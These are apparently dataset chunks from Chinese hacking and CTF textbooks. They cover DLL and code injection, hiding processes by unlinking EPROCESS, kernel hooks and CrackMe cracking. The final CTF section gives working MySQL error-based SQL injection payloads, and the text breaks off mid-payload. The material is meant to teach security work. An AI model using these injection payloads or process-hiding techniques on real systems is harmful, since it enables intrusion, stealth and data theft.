    {"text": "（2） lpBaseAddress：指定写入内存的起始地址。 （3） lpBuffer：指定要写入的内容的缓冲区。 （4） nSize：指定写入内容的长度。 （5） lpNumberOfBytesWritten：接收实际写入内容的长度。"},
    {"text": "现在，所有问题都解决了，看看注入DLL程序的界面吧，如图3-32所示。 图3-32 DLL注入/卸载器 这个程序既可以注入DLL，也可以卸载注入的DLL。 注入DLL文件的代码如下： 该函数有两个参数，分别是目标进程PID和要注入的DLL文件。"},
    {"text": "在系统中其实没有LoadLibrary()这个函数，只有LoadLibraryA()和LoadLibraryW()这两个函数，这两个函数分别针对的是ANSI字符串和UNICODE字符串，而LoadLibrary()函数只是一个宏。"},
    {"text": "图3-33 DLL文件注入 这个对话框是DLL程序在DLL_PROCESS_ATTACH中弹出的（如果不记得，请看前面写的DLL程序的代码），其所在进程为notepad.exe，这里的4032为目标PID。"},
    {"text": "注意：如果要对系统进程进行注入的话，由于有一个OpenProcess()的权限问题，可能会导致无法获得系统进程的句柄，想要获得其句柄，需要用到前面介绍的提升权限的代码。"},
    {"text": "在介绍进程枚举时使用到了一个PROCESSENTRY32的结构体，在使用Module32First()函数时，我们会使用到一个MODULEENTRY32的结构体，该结构体中保存了模块的句柄。 MODULEENTRY32的定义如下： 该结构体中的hModule为模块的句柄，szModule为模块的名称，szExePath是完整的模块的名称（包含路径）。"},
    {"text": "3.7.3 无DLL的代码注入 DLL文件的注入与卸载都很成功的完成了，整个注入的与卸载的过程其实就是让远程线程执行一次LoadLibray()或FreeLibrary()。"},
    {"text": "这样，必须在目标进程中获取想要使用的API函数的地址。 获取API函数的地址使用的是LoadLibrary()和GetProcAddress()这两个函数，在目标进程中，通过这两个函数就可以获取任何一个想要使用的API函数的地址了。 把想要使用的API函数及API函数所在的DLL都封装到一个结构体中，直接写入到目标进程空间中，也可以直接把要在远程执行的代码写入到目标进程空间中，然后使用CreateRemoteThread()运行即可。"},
    {"text": "根据上面的步骤，先定义一个结构体，结构体如下： 结构体中保存了LoadLibraryA()、GetProcAddress()、GetModuleHandle()和GetModuleFileName()函数的地址。"},
    {"text": "看一下注入的代码： 卸载代码和注入代码没什么差别，关键是要把线程函数也写入目标进程中，这样在使用CreateRemoteThread()时，直接给出线程函数在目标进程中的地址即可。"},
    {"text": "注入器的编译方式是Debug方式，而以Debug方式编译 VC会在程序中加入很多与调试相关的内容，而这些内容的地址是相对当前进程地址，这些代码到了别的进程可能就会出错。 这里应该使用Release方式编译，因为以Release方式编译不会由于插入与调试相关的代码而导致注入的代码到别的进程会出错。"},
    {"text": "C++黑客编程揭秘与防范 7.2 驱动下的进程遍历 在前面的章节中曾经实现过一个枚举进程中被加载DLL文件的函数，接下来要实现一个 枚举进程的函数。枚举进程不能在用户态下进行，需要到内核态下进行，这样就必须使用驱动程序来完成。先用WinDbg完成一次手动的枚举过程，再通过代码来完成。 图7-3 Dbgview显示的输出 7.2.1 配置VMware和WinDbg进行驱动调试 使用WinDbg调试驱动程序或内核，需要双机进行调试，所谓双机就是两台电脑。通常情况下，大部分人都没有两台电脑，往往只有一台电脑。那么，解决的方法就是安装虚拟机，然后对虚拟机进行一些设置，也是可以通过WinDbg来进行调试的。虚拟机选择使用VMware，下面讨论一下如何对虚拟机进行配置。 安装好VMware，并在VMware中安装好操作系统，然后对安装好的虚拟机进行一些设置，通过此设置可以达到调试器与虚拟机的连接。单击菜单“VM” → “Settings”命令，弹出“Virtual Machine Settings”窗口，如图7-4所示。 图7-4 “Virtual Machine Settings”对话框 单击“Add”按钮，打开“Add Hardware Wizard”（添加硬件向导）对话框，如图7-5所示。 图7-5 “Add Hardware Wizard”对话框 1 在该对话框中选择“Serial Port”选项，也就是串口，然后单击“Next”按钮，弹出“Add Hardware Wizard”对话框的第二个界面，如图7-6所示。 图7-6 “Add Hardware Wizard ”对话框 2 在该界面中选择“Output to named pipe”单选钮，也就是命名管道，命名管道是Windows下进程通信的一种方法。选中该项后继续单击“Next”按钮进入下一个界面，也是设置的最 后一个界面，如图7-7所示。 图7-7 “Add Hardware Wizard ”对话框 3 在这个界面中对命名管道进行设置，然后单击“Finish”按钮即可。至此，已经完成了一半的设置了。接着，启动虚拟机配置Windows的Boot.ini文件。Boot.ini文件原内容如下： 将最后一行复制一下，然后放到最后面，并进行修改，修改后的内容如下： 去掉Boot.ini文件的只读属性，然后保存Boot.ini文件。在下次需要对驱动进行调试，或者对内核进行调试时选择启动Debug模式的Windows。 注：这里只介绍了针对Windows XP系统的配置方法，关于其他版本系统的配置方法请自行参考相关内容。 至此，所有的配置工作就做好了，但是使用WinDbg进行连接时，还是要有连接参数的。我们先在桌面上创建一个WinDbg的快捷方式，然后在WinDbg快捷方式上单击右键，在弹出的快捷菜单中选择“属性”命令，弹出“属性”对话框，将“目标”位置改为： F:\\WinDDK\\7600.16385.0\\Debuggers\\windbg.exe -b -k com:port=\\\\.\\pipe\\com_l,baud= 115200，pipe 这样就可以用WinDbg连接虚拟机中调试状态下的Windows XP了。 7.2.2 EPROCESS和手动遍历进程 Windows中有一个非常大的与进程有关的结构体——EPROCESS。每个进程对应一个 EPROCESS结构，但EPROCESS是一个系统未公开的结构体，我们在WDK中只能找到说明，而找不到其结构体的具体定义，因此需要通过WinDbg来查看，这次使用WinDbg和 WMware进行调试。按照前面的方法，使WinDbg和WMware可以连接，当WinDbg出现调试界面时，在其命令处输入dt_eprocess命令来查看一下该结构体，如图7-8所示。 图7-8 WinDbg显示的部分EPROCESS结构体 从图中可以看出，EPROCESS结构体显示出了非常多的内容，从WinDbg调试界面只能看到部分的成员变量，而且偏移已经到了 0×258，非常多。看一下WinDbg的全部内容。 上面就是EPROCESS结构体的全部，对于遍历进程列表来说，有用的只有几个内容，首先是偏移0×84处的进程ID;然后是偏移0×88处的进程链表；最后一个是偏移0×174的进程名。下面手动进行一次遍历。 在WinDbg的命令输入提示处输入！Process 0 0命令，得到进程的列表，如图 7-9所示。 图7-9 进程信息 PROCESS后面给出的值就是当前进程中EPROCESS的地址，选择explorer.exe进程给出的地址0×ff364708来解析EPROCESS。输入命令dt _eprocess ff364708，输出如下： 可以看到，按照EPROCESS结构体解析ff364708这个地址，输出了我们需要的内容。接着，通过ActiveProcessLinks来获取下一个进程的信息。输入命令dd ff364708 + 0×88，输出如下： 在ff364790地址处保存了下一个EPROCESS结构体ActiveProcessLinks的地址，要得到下一个EPROCESS的地址，必须减去0×88才能得到。输入命令dt_eprocess （ff2b44bO-0×88），输出如下： 将输出结果和图7-9中的结果对比，在explorer.exe的下一个进程为vmwaretray.exe，可见遍历方法是正确的。 7.2.3 编程实现进程遍历 上面介绍的手动遍历过程就是指导我们如何编写代码的，只要上面的手动遍历过程能够掌握，那么代码的编写也就不是问题了。下面直接看代码，代码如下： 在代码中用到了一个函数，就是PsGetCurrentProcess()，这个函数是用来获取当前进程的 EPROCESS指针的，该函数的定义如下： 通过PsGetCurrentProcess()函数获得的是system进程的EPROCESS，大多数内核模式系统线程都在system进程中。除了这个函数没有接触过以外，剩下的部分就是对EPROCESS结构体的操作了，这里就不做过多的介绍了。在前面的章节中介绍过如何实现进程内DLL文件的隐藏，方法是将指定DLL在DLL链表中“脱链”。为了隐藏进程，同样可以将指定进程的EPROCESS结构体在进程链表中“脱链”，以达到隐藏的目的。"},
    {"text": "C++黑客编程揭秘与防范 4.10 打造一个密码显示器 关于系统提供的调试API函数我们已经学习了不少了，而且基本上常用到的函数我们也都学习过了。下面用调试API编写一个能够显示密码的程序。大家别以为我们写的程序什么密码都能显示，这是不可能的。下面针对前面的那个CrackMe来编写一个显示密码的程序。 在编写关于CrackMe的密码显示程序以前需要准备两项工作，第一个工作是知道要在什么地方合理地下断点，第二个工作是从哪里能读取到密码。带着这两个问题重新来进行思考一下。在我们的程序中，要对两个字符串进行比较，而比较的函数是strcmp()，该函数有两个参数，分别是输入的密码和真正的密码。也就是说在调用strcmp()这个函数的位置下断点通过查看它的参数是可以获取到正确的密码的。就在调用strcmp()这个函数的位置设置INT3断点，也就是将0×CC机器码写入这个地址。用OD看一下调用strcmp()函数的地址，如图 4-75所示。 图4-75 调用strcmp()函数的地址 从图4-75中可以看出，调用strcmp()函数的地址为004024CE。有了这个地址只要找到该函数的两个参数，就可以找到输入的错误的密码及正确的密码。从图4-75中看出，正确的密码的起始地址保存在EDX中，错误的密码的起始地址保存在ECX中，只要在004024CE这个地址下断，并通过线程环境读取EDX和ECX寄存器值就可以得到两个密码的起始地址。 要进行准备的工作已经做好了，下面来写一个控制台的程序。先定义两个常量，一个是用来设置断点的地址，另一个是INT3指令的机器码。定义如下： 把CrackMe的文件路径及文件名当参数传递给显示密码的程序。显示的程序首先要以调试的方式创建CrackMe,代码如下： 然后就进入调试循环，调试循环中要处理两个调试事件，一个是 CREATE_PROCESS_DEBUG_EVENT,另一个调试事件是 EXCEPTION_DEBUG_EVENT下的EXCEPTION_BREAKPOINT。这两个事件在调试循环中进行处理，对于处理 CREATE_PROCESS_DEBUG_EVENT的代码如下： 在CREATE_PROCESS_DEBUG_EVENT中对调用strcmp()函数的地址处设置INT3断点，在将0×CC写入这里时要把原来的机器码读取出来。读取原机器码使用 ReadProcessMemory()，写入 INT3的机器码使用 WriteProcessMemory()。再来看一下 EXCEPTION_DEBUG_EVENT下的 EXCEPTION_BREAKPOINT是如何进行处理的。 对于调试事件的处理，应该放到调试循环中，上面的代码给的是对调试事件的处理，再来看一下调试循环的大体代码： 只要把调试事件的处理方法放入到调试循环中，程序就完整了。接下来编译连接一下，然后把CrackMe直接拖放到这个密码显示程序上。程序会启动CrackMe进程，并等待我们的输入，当输入账号及密码后单击“确定”按钮，程序会显示出正确的密码和我们输入的密码，如图4-76所示。 图4-76 显示正确密码 根据图4-76显示的结果进行验证，可见我们的获取是成功的。至此程序到此结束了。大家可以把该程序修改一下，把它改成通过附加调试进程来显示密码，以巩固我们的知识。 C++黑客编程揭秘与防范 参考文献 1.段钢.加密与解密（第三版）.北京：电子工业出版社。 2. 王艳平.Windows程序设计.北京：人民邮电出版社。 3. （美）Jeffrey Richter著.王建华，张焕生，侯丽坤等译.Windows核心编程.北京：机械工业出版社。 4. Eldad Eilam著作.韩琪，杨艳，王玉英，李娜等译.Reversing:逆向工程解密.北京：电子工业出版社。 5. （美）Greg hoglund James Butler著.韩智文译.ROOTKITS-Windows内核的安全防护.北京：清华大学出版社。 C++黑客编程揭秘与防范 C++黑客编程揭秘与防范 4.11 总结 本章学习了 PE结构的基础部分，学习了 OD的使用及调试API函数等。相信大家对PE 结构解析、OD调试工具使用及调试原理有了一定的了解。本章学习了一些基础的加解密知识，在以后学习了更多的相关知识后会发现，这些基础知识对我们学习加解密的知识是非常有必要的。希望大家多多掌握原理，多多动手实践。"},
    {"text": "C++黑客编程揭秘与防范 7.4 应用程序与驱动程序的通信 虽然应用程序处在操作系统的用户态，而驱动程序处在操作系统的内核态，但是它们之 间是必须通信的，应用程序的执行都是依赖于操作系统内核的。"},
    {"text": "7.4.1 创建设备 在编写驱动程序的时候，主函数的入口函数是DriverEntry()函数，该函数有一个参数为 PDRIVER_OBJECT类型，是指向驱动对象的指针的。"},
    {"text": "为了能够使驱动程序被卸载掉，我们为DRIVER_OBJECT结构体中的DriverUnload成员进行了赋值。 DriverUnload是驱动对象中的一个程序，其保存了驱动卸载例程（Routine，也就是函数的意思）的指针，其实保存的就是一个函数指针。"},
    {"text": "在DRIVER_OBJECT中，除了 DriverUnload以外，还有一个数组也存放了函数指针，这个数组名是MajorFunction，该数组的大小为IRP_MJ_MAXIMUM_FUNCTION + 1，IRP_MJ_MAXIMUM_FUNCTION是一个宏，该宏的定义为： 在MajorFunction中可以指定非常多的例程指针，比如IRP_MJ_CREATE、IRP_MJ_READ、IRP_MJ_WRITE、IRP_MJ_CLOSE……这些例程都有一个非常相似的定义，定义如下： 这些是摘自WDK提供的文件中的定义，函数名可以随意修改，但是函数的定义是不能修改的，也就是说函数的返回值和参数是已经被确定的。"},
    {"text": "既然在所有的例程中都需要设备对象指针，那么自然要创建一个设备，创建设备的函数为IoCreateDevice()，其定义如下： 该函数用来创建一个设备，参数说明如下。"},
    {"text": "（3） DeviceName：指定设备的名称，设备名通常是\\Device\\xxx。 （4） DeviceType：指定设备的类型，由于创建的设备没有具体对应的设备类型，因此此处指定 FILE_DEVICE_UNKNOWN。 （5） DeviceCharacteristics：设置设备对象的特征，这里赋值为0即可。 （6） Exclusive：该参数指定设备是否为互斥设备，这里赋值为TRUE即可。 （7） DeviceObject：该参数是一个指向设备对象的指针。 为了能与设备对象进行通信，必须为设备对象指定一个符号链接，用来在应用程序中打开。 创建符号链接的函数为IoCreateSymbolicLink()，其定义如下： 该函数的第一个参数用来指定符号链接的名称，该名称通常的格式为\\??\\xxx，第二个参数为设备名称。"},
    {"text": "这5种方式对应的 Win32 API函数分别为 CreateFile()、CloseHandle()、ReadFile()、WriteFile()和 DeviceIoControl()。 而这5个Win32 API函数分别对应着5个派遣例程，分别是 IRP_MJ_CREATE、IRP_MJ_CLOSE、IRP_MJ_READ、IRP_MJ_WRITE和 IRP_MJ_DEVICE_ CONTROL。"},
    {"text": "下面主要来介绍一下 DeviceIoControl()函数与 IRP_MJ_DEVICE_CONTROL派遣例程。 DeviceIoControl()函数是用来向指定设备发送控制码的，当指定的设备接收到 DeviceIoControl()发来的控制码后会调用IRP_MJ_DEVICE_CONTROL对应的派遣例程，针对不同的控制码进行不同的处理。 DeviceIoControl()函数的定义如下： （1） hDevice：该参数指明设备句柄。"},
    {"text": "（3） lpInBuffer：该参数是输入的缓冲区。 （4） nInBufferSize：该参数是输入缓冲区大小。 （5） IpOutBuffer：该参数是输出的缓冲区。 （6） nOutBufferSize：该参数是输出缓冲区大小。 （7） lpBytesReturned：该参数是返回字节的个数。 （8） lpOverlapped：该参数针对重叠方式使用，通常为0即可。"},
    {"text": "下面直接给出完整的源代码，代码如下： 下面来看一下应用层的代码，在于驱动进行通信时，首先要打开驱动程序： 在使用CreateFile()函数时，该函数的第一个参数为驱动程序的符号链接。 定义驱动的符号链接为：L“\\\\??\\\\HookNtCreateProcessEx”，当在应用层中使用时应改为： \\\\\\\\.\\\\HookNtCreateProcessEx。"},
    {"text": "运行看一下效果，当开启 HOOK时NtCreateProcessEx()会直接返回，也就是不进行进程的创建。 当关闭HOOK后， NtCreateProcessEx()又会正常地创建进程。 用KmdManager加载驱动，然后用我们编写的应用程序开启HOOK后运行的任意程序，创建进程都会失败，如图7-12所示。 图7-12 开启HOOK后创建进程失败 关于驱动的开发有非常多的东西需要学习，驱动的开发时下也非常流行，很多安全厂商（比如，反病毒、反外挂公司）都对驱动开发人员有大量的需求。"},
    {"text": "C++黑客编程揭秘与防范 2.2 网络编程基础知识 上面对两台计算机之间如何进行通信有了一个大概的了解，现在开始真正学习Windows下网络编程的相关知识。"},
    {"text": "2.2.1 通信模型 既然是通信，必然要遵循一个通信模型，常见的通信模型有C/S模型（即客户端/服务端 模型）、B/S模型（即浏览器/服务端模型）。"},
    {"text": "C/S模型的开发，就是在服务器端上绑定一个IP地址和一个端口号，然后进行监听，等待客户端的连接，而客户端则是向服务器端指定的IP地址和端口号发起连接，服务器接受客户端的连接后，双方可以进行通信，这是基于TCP协议的通信。 而基于UDP协议就简单多了，服务器只要绑定IP地址和端口号就可以了，客户端不需要进行连接直接就可以和服务器进行通信。 从基于TCP和基于UDP的服务器可以看出，TCP比UDP要可靠，而UDP要比TCP效率高。"},
    {"text": "2.2.2 Winsock Windows下的网络应用开发大部分是通过Winsock完成的（除了Winsock以外还有其他的），Winsock有两种开发模式，一种是阻塞模式，另一种是非阻塞模式。"},
    {"text": "2.2.3 Winsock的相关函数 每个需要使用Winsock进行网络开发的Windows应用程序都必须包含Winsock2.h（这是第二个版本的Winsock库），除了这个头文件以外，还有一个静态库ws2_32.1ib。"},
    {"text": "首先来看初始化ws2_32.dll动态链接库的函数： 这个函数是用来初始化ws2_32. dll动态链接库的，这个动态链接库是所有网络应用程序会加载的动态链接库，在使用这个动态链接库时就需要用WSAStartup()函数进行初始化。"},
    {"text": "（1） af：指定应用程序使用的通信协议族，对于TCP/IP协议族，该参数始终为PF_INET。 有的教材里这个参数使用的是AF_INET.AF_INET是地址族，虽然使用这个没错，但还是建议使用PF_INET。"},
    {"text": "该参数根据第二个参数的不同而不同，第二个参数为SOCK_STREAM，该参数为IPPROTO_TCP;如果第二个参数为SOCK_DGRAM，那么该参数为IPPROTO_UDP。"},
    {"text": "当创建了一个Socket后，服务器程序必须要绑定一个IP地址和特定的端口号。 客户端程序不需要绑定端口号和IP地址，因为Socket会选择合适IP地址及端口来使用。 绑定IP地址和端口号： 参数说明如下。 （1） s：指定待绑定的Socket描述符。 （2） name：指定一个sockaddr结构，该结构的定义如下： 函数中提供的参数类型是sockaddr，在实际使用的过程中，结构体是sockaddr_in，该结构的定义如下： 成员变量sin_family设置为PF_INET; sin_port设置为端口号;sin_addr结构体中只包含一个公用体，in_addr的定义如下： 该成员变量是一个整数，一般用函数inet_addr()把字符串形式的IP地址转换成unsigned long整型的整数值。"},
    {"text": "接受请求： 服务端程序调用该函数从处于监听状态的流套接字的客户端请求队列中取出第一个请求，并创建一个新的套接字与客户端进行连接通信。"},
    {"text": "具体进行通信的函数分为两类，一类是基于TCP协议的，另一类是基于UDP协议的。 数据的通信主要体现在数据的收发上，分别看一下这两种协议的收发数据的函数定义。 基于TCP的发送函数： 参数说明如下。"},
    {"text": "还有一种是大尾方式，即按网络字节顺序，也就是说所有的网络中传输的数据使用的均是大尾方式。 大尾方式是高位存放低字节，低位存放高字节。"},
    {"text": "Winsock提供了一些用来处理本地的字节顺序和网络的字节顺序的转换函数。 这些函数如下： 本地字节顺序转换为网络字节顺序： 网络字节顺序转换为本地字节顺序： 当我们在调试软件的时候，经常会在内存中查找某一个数据，但是怎么也找不到，在这个时候就应该想到字节顺序的问题。"},
    {"text": "对于软件的破解来说，主要是取消软件中的各种限制，比如时间限制、序列号限制……对于破解来说，无疑与逆向工程有着密切的关系，想要突破任何一种限制都要去了解该种限制的保护方式或保护机制。"},
    {"text": "下面来写一个非常简单的CrackMe程序供我们学习研究，并进行“破解”。 自己写CrackMe并自己破解，虽然这样省去了很多问题的思考，但是对于初学者来说这仍然是一件非常有乐趣的事情。"},
    {"text": "图4-48 自己编写的CrackMe程序 从图4-48中可以看出，整个程序只有两个可以输入内容的编辑框，和两个可以单击的按钮，除此之外什么都没有了，更不会有什么提示。"},
    {"text": "不过有的人习惯在CrackMe中添加一个美女的照片，让界面显得美观诱惑，有的人喜欢给CrackMe加层壳来增加破解的难度，不过这些对于我们都不重要，关键是要进行学习。"},
    {"text": "下面会以不同的方式来开始这次破解之旅，不需要有太多的汇编知识，毕竟这里是基础性的知识，要想深入学习破解，对破解有所了解的话，那么学习和掌握汇编是必修课。"},
    {"text": "输入了“账号”及“密码”后，首先程序会从编辑框处获得“账号”的字符串及“密码”的字符串，然后进行一系列的比较验证，再通过“账号”来计算出正确的“密码”，最后来匹配正确的“密码”与输入的“密码”是否一致，根据匹配结果，给出相应的提示。"},
    {"text": "“断点”就是产生中断的位置。 通过下断点，可以让程序中断在需要调试或分析的地方。 下断点在调试中起着非常大的作用，学会在合理的地方下断点也是一个技巧性的知识，合理地下断点有助于对软件进行分析和调试，大家应该学着掌握它。 断点的分类很多，有内存断点、硬件断点、INT 3断点……关于断点的知识，将在稍后的内容中进行介绍，这里就不介绍了。 现在就可以选择合适的地方设置断点了。 可以在API函数上设置断点，比如在GetDlgItemText()行设置断点，也可以选择在strlen()上设置断点，还可以在strcmp()上设置断点，甚至可以在MessageBox()上设置断上设置断点。 上面的这些API函数都是可以设置断点的，但是对于GetDlgItemText()和MessageBox()这两个API函数来说，需要下断点的时候指定是ANSI版本，还是UNICODE版本。"},
    {"text": "也就是说系统中是没有这两个函数的，根据版本的不同存在系统的函数只有GetDlgItemTextA()、GetDlgItemTextW()、MessageBoxA()和MessageBoxW()这样的函数。"},
    {"text": "图4-51 在“命令”窗口设置断点 如何知道断点是否设置成功呢？ 按下Alt + B组合键打开断点窗口可以查看，如图4-52所示。 图4-52 在断点窗口查看所下断点 断点已经设置好了，那么就按F9键来运行程序吧。"},
    {"text": "CrackMe启动了，输入一个长度大于等于7位的“账号”为“testtest”，然后随便输入一个“密码”为“123456”，单击“确定”按钮，OD中断在断点，如图4-53所示。"},
    {"text": "那么在栈窗口中可以看到输入的密码及正确的密码，如图4-54所示。 图4-54 栈窗口中显示出的两个密码 可以看到，在调用strcmp()时，传递的两个参数的值分别是“123456”和“uftuuftu”两个字符串。 前面的字符串肯定是输入的密码，那么后面的字符串肯定就是正确的密码了。 按F9键运行程序，会出现那个错误对话框，提示密码错误。"},
    {"text": "现在关闭OD，直接打开CrackMe，现在仍然用刚才的账号“testtest”，然后输入密码“uftimftu”，单击“确定”按钮，会提示“密码正确”，如图4-55所示。"},
    {"text": "2.破解方法二 在上一种方法中通过对API函数设置断点找到了正确的密码，现在通过提示字符串来完成破解。 在不知道正确密码的情况下输入密码，通常会得到的提示字符串是“密码错误”，只要在程序中寻找该字符串，并且查看是何处使用了该字符串，那么就可以对破解起到提示性的作用。"},
    {"text": "用OD打开CrackMe程序，然后在反汇编界面处单击鼠标右键，在弹出的菜单中依次选择“超级字串参考”–> “查找ASCⅡ”命令，会出现“超级字串参考”窗口，如图4-56所示。"},
    {"text": "图4-56 超级字串参考 在“超级字串参考”窗口中可以看到两个非常熟悉的字符串，双击“密码正确”这个字符串，来到004024de地址处，该地址内容如图4-57所示。 图4-57 004024DE地址处反汇编代码 从图4-57中可以看到3处比较关键性的内容，第一个是可以看到strcmp()函数，第二个是可以看到字符串“密码正确”，第三个是可以看到字符串“密码”错误。"},
    {"text": "下面主要讲述一下修改比较条件的方法，拿具体的例子来解释一下，在代码中是这么一个情况，代码如下： strcmp()是字符串比较函数，如果两个字符串相等也就是说输入的密码与正确的密码匹配，匹配则执行“密码正确”流程，否则反之。 那么如果修改一下比较的条件，也就是说两个密码匹配不成功，使其执行“密码成功”的流程。"},
    {"text": "想要修改其判断条件，那么只要修改004024D8处的指令代码JNZ SHORT EasyCrac.004024ED即可，该指令的意思是如果比较结果不为0，则跳转到004024ED处执行。 JNZ结果不为0则跳转，只要把JNZ修改为JZ即可，JZ的意思刚好与JNZ相反。 修改方法很简单，选中004024D8地址所在的行，按下空格键即可进行编辑，如图4-58所示。"},
    {"text": "单击窗口上的“汇编”按钮，然后按F9键运行，随便输入一个长度大于7位的账号，再输入一个密码，然后单击“确定”按钮，会提示“密码正确”，如图4-59所示。 关掉OD和CrackMe，然后直接运行CrackMe，随便输入账号和密码，单击“确定”按钮后提示密码错误。"},
    {"text": "因为刚才只是在内存中进行了修改，需要对文件进行存盘在以后运行时我们的修改才有效。 修改后的存盘方法为：选中修改的反汇编代码（可以多选几行，只要修改的那行被选中即可），然后单击右键，在弹出的菜单中选择“复制到可执行文件” –> “选定内容”命令，会出现“文件”对话框，如图4-60所示。 图4-58 在OD中修改反汇编代码 图4-59 修改指令后的流程 图4-60 “文件”对话框 在出现的这个对话框中单击鼠标右键，在弹出的菜单中选择“保存文件”命令，然后进行保存。 这样我们的修改就存盘了，下次在执行该程序时，随便输入大于7位的账号和密码都会提示“密码正确”了。"},
    {"text": "C++黑客编程揭秘与防范 4.1 PE文件结构 PE （Portable Executable）,即可移植的执行体。所有的 Windows（包括Win 9x、Win NT、 Win CE……）下的可执行文件（包括EXE、DLL、SYS、OCX、COM……）均使用PE文件结构,这些使用PE文件结构的可执行文件也成为PE文件。 作为一个普通的程序员也许没有必要掌握PE文件结构,因为普通的程序员大多都是开发服务性、决策性、辅助性的软件，比如MIS、HIS等软件。但是对于学习黑客编程,学习安全编程的程序员来说,那么掌握PE文件结构的知识就非常重要了。因此，我们要进行对 PE文件结构地学习。 4.1.1 PE文件结构全貌 Windows下的可执行程序有着复杂的文件结构,同样,PE结构是由若干个复杂的结构体组合而成的，不单单是一个结构体那么简单。就像磁盘结构体一样,磁盘结构同样是由非常多的结构体组成的。PE结构包含的结构体有DOS头、PE标识、文件头、可选头、目录结构、节表等。要掌握PE结构,必须对PE结构有一个整体上的认识，要知道PE结构分为哪些部分，这些部分大概是起什么作用的。有了宏观上的概念以后，就可以深入PE结构的各个结构体进行细致地学习了。下面给出一张图，让大家对PE结构有一个大概的了解,如图4-1所示。 图4-1 PE结构总览图 从图中可以看到,在PE文件中,真正包含代码和数据的部分是节表数据,节表数据以上的部分都是PE文件结构。 下面根据这个图给大家介绍PE文件结构的各个结构体,介绍完以后再写一个PE结构的解释器。这里不会介绍PE结构中的每个结构,只针对常用的和相对重要的结构体进行介绍。 4.1.2 MZ头部 MZ头部其实是一个DOS头部,由于其开始处的字符为“MZ”,因此叫做MZ头,也可以叫做DOS头,看个人习惯了。该部分用于在DOS下加载可执行程序,是用 IMAGE_DOS_HEADER来定义的。 DOS残留是一段简单的程序，主要用于输出“This program cannot be run in DOS mode.”类似的字符串。 为什么PE结构的最开始位置有这样一段DOS头部呢？关键是为了该可执行程序可以兼容DOS系统。通常情况下,Win32下的PE程序只是简单地输出一段字符串，提示不能运行于DOS系统下。但是这个DOS程序是可以在程序连接时修改的，不过由于不常使用也就不进行介绍了。 4.1.3 PE头部 PE头部保存Windows系统加载可执行文件的重要信息。PE头部由 IMAGE_NT_HEADERS来定义,通过该结构体的定义可以看出,IMAGE_NT_HEADERS是由多个结构体组合而成的,具体内容将在后面进行介绍。PE头部在PE文件中的位置是不确定的,PE头部的位置由DOS头部的某个字段给出。 4.1.4 节表 程序的组织按照各属性的不同而被保存在不同的节中,在PE头部之后就是一个数组结构的节表。如果PE文件中有N个节,那么节表就是由N个IMAGE_SECTION_HEADER组成的数组。节表中存储了各个节的属性、位置等相关信息。 4.1.5 节表数据 真正的程序部分就保存在节数据中。节名称最大长度为8个字节,大于8个字节将被截取。节的划分是根据各组数据的属性划分的,每个节拥有共同的属性。"},
    {"text": "CTF是一门偏重于实践的学问，仅靠读一本书、一篇论文，或者学一门课是远远不够的，它需要足够的兴趣和精力，不停地做题、实战、锻炼，并没有捷径可走。"},
    {"text": "本书特色 本书主要从Web、Reverse、PWN、Crypto、APK、IoT 6个方面对CTF的入门知识、学习方法和常见题型进行了介绍，并且结合实际题目对相关知识点进行讲解，同时结合线上赛、线下赛对竞赛技巧进行了总结。 从定位上来说，本书并不能让读者读完就成为“职业竞技选手”，而是希望读者能够从本书中知道自己对哪些方面感兴趣，要进一步学习哪些方面的知识，达到CTF入门的目的。"},
    {"text": "阅读本书之前，首先建议读者认真思考以后想要深入研究的领域，是成为一名Web选手，还是成为一名PWN选手。 如果想要成为一名Web选手，则推荐先从W3CSchool开始学起，再来阅读本书的Web章节，最后学习Crypto章节。 如果想要成为一名PWN选手，那么必须先掌握计算机组成原理、操作系统、汇编语言三门课程，然后再来看本书的PWN章节、Reverse章节、APK章节、Crypto章节，最后还应学习IoT章节。"},
    {"text": "大家平时工作、学习的任务也非常繁重，很难静下心来专门抽出大量的时间来刷题，那么每一场CTF竞赛就显得额外关键了。 认真参加每一场CTF竞赛就可以得到快速提升，没有必要平常刻意进行题海训练（当然，如果有闲暇时间多做一做会更好）。 几乎每周都有一场CTF比赛，大家可积极参与，不一定非要取得名次。"},
    {"text": "资源获取及反馈 本书中所列举的题目大部分是战队自己出的，也包括一些国外的题目，并且搭载在汪神的OJ上（ https://www.jarvisoj.com ）。"},
    {"text": "感谢在战队创立之初一起拼搏的ling、lu、小墨、医生师傅、hu狗，感谢为战队成长和本书撰写做出巨大努力的白师傅、丁满、joker、汪神、pxx、石总、兰斯、muhe、chu牛、bendawang、lowkey、猪头、simple、蛋总、flier、swings、老鼠，感谢麦香促使写书任务完成。"},
    {"text": "每个服务的启用权限均是题目的权限，选手能拿到的权限略高于题目的权限，则可以进行后门清理等操作，也可以替换题目的bin文件，用于patch。"},
    {"text": "Defcon Final作为先行者推出了非零和的计分方法，并通过Git的方式对赛题进行运维，这使得选手只须拿出少量精力放到metagame上，而把更多的精力放到题目本身上。"},
    {"text": "未知 第一篇 CTF之Web 本篇主要介绍CTF比赛中Web类型题目的基础知识点与常用的工具和插件，它们也可以用于渗透测试中。本篇的末尾将为大家分享一些往年的Web实战题目与案例解析。 未知 2.3 报错注入 这里主要介绍3种MySQL数据库报错注入的方法，分别是updatexml、floor和exp。 1.updatexml updatexml的报错原理从本质上来说就是函数的报错，如图2-1所示。 图2-1 updatexml报错回显示例 这里还是使用前面的例子，举出一个爆破数据库版本的样例Payload： ?id=1'+updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)%23 其他功能的Payload可以参照下面floor的使用方法来修改。 2.floor 简单来说，floor报错的原理是rand和order by或group by的冲突。在MySQL文档中的原文如下： RAND() in a WHERE clause is re-evaluated every time the WHERE is executed. Use of a column with RAND() values in an ORDER BY or GROUP BY clause may yield unexpected results because for either clause a RAND() expression can be evaluated multiple times for the same row, each time returning a different result. (http://dev.mysql.com/doc/refman/5.7/en/mathematical-functions.html#function_rand) 理解了原理之后，接下来我们来说一下应用的方法，如下。 爆破数据库版本信息： ?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 爆破当前用户： ?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 爆破当前使用的数据库： ?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 爆破指定表的字段（下面以表名为emails举例说明）： ?id=1' +and(select 1 from(select count(*),concat((select (select 